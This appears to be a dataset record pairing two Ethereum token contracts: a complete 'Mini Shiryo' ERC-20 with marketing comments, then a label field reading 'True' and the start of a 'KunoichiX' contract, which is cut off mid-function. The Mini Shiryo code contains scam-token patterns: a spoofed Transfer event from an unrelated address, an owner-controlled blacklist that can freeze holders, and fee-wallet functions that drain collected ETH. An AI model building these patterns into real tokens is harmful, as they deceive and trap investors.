`--' `---'
Mini Shiryo is the latest community-focused token to launch on the Ethereum
network! Our team is assembled from some of the most experienced individuals
in DeFi and we want nothing more than to make $MShiryo the next big thing!
☑️ 500B $MShiryo Tokens
☑️ 0% Burn
☑️ 10% Tax on Transactions
☑️ No Team Tokens & No Presale
Stealth launched with max limits for initial buys, Mini Shiryo epitomizes
the definition of excellent wallet distribution to ensure investor safety
and confidence while being part of the $MShiryo community.
🖥 https://www.MiniShiryo.xyz/
💬 https://t.me/MiniShiryo/
🐦 https://www.twitter.com/MiniShiryoToken/
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MShiryo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Mini Shiryo";
string private constant _symbol = "MShiryo";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xfFc6dEB0f64107aba3f73aC7F3FF48fEC4E2b4D3);
_feeAddrWallet2 = payable(0xfFc6dEB0f64107aba3f73aC7F3FF48fEC4E2b4D3);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x4A04498a0f6c1C568cE9A46199b1ab38b73FF1b3), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 25000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
// Telegram: - https://t.me/KunoichiXToken
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract KUNOICHIX is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress;
address payable public devAddress;
address payable public liquidityAddress;
address private _owner = 0x32781F8F29D7eBFdeF537CA66C115f92BEdAFaD5;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool public limitsInEffect = true;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e15 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "KunoichiX";
string private constant _symbol = "KUNO";
uint8 private constant _decimals = 9;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 public _buyTaxFee = 2;
uint256 public _buyLiquidityFee = 4;
uint256 public _buyMarketingFee = 7;
uint256 public _sellTaxFee = 2;
uint256 public _sellLiquidityFee = 4;
uint256 public _sellMarketingFee = 7;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
uint256 public _liquidityTokensToSwap;
uint256 public _marketingTokensToSwap;
uint256 public maxTransactionAmount;
uint256 public maxWalletAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedMarketingAddress(address marketing);
event UpdatedLiquidityAddress(address liquidity);
event OwnerForcedSwapBack(uint256 timestamp);
event BoughtEarly(address indexed sniper);
event RemovedSniper(address indexed notsnipersupposedly);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_owner] = _rTotal / 1000 * 40;
_rOwned[address(this)] = _rTotal / 1000 * 960;
maxTransactionAmount = _tTotal * 9 / 1000; // 0.9% maxTransactionAmountTxn
maxWalletAmount = _tTotal * 14 / 1000; // 1.4% maxWalletAmount
minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount
marketingAddress = payable(0xcc5e6a8d260f09bA9109Dc61Ff882415B9C66239); // Marketing Address
devAddress = payable(0xcc5e6a8d260f09bA9109Dc61Ff882415B9C66239); // Dev Address
liquidityAddress = payable(owner());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
emit Transfer(address(0), _owner, _tTotal * 40 / 1000);
emit Transfer(address(0), address(this), _tTotal * 960 / 1000);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// remove limits after token is stable - 30-60 minutes
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 30 days;
}
// send tokens and ETH for liquidity to contract directly, then call this (not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch)
function launch() external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
require(address(this).balance > 0, "Must have ETH on contract to launch");
addLiquidity(balanceOf(address(this)), address(this).balance);
transferOwnership(_owner);
return true;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_isExcludedMaxTransactionAmount[pair] = value;
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 200);
gasPriceLimit = gas * 1 gwei;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
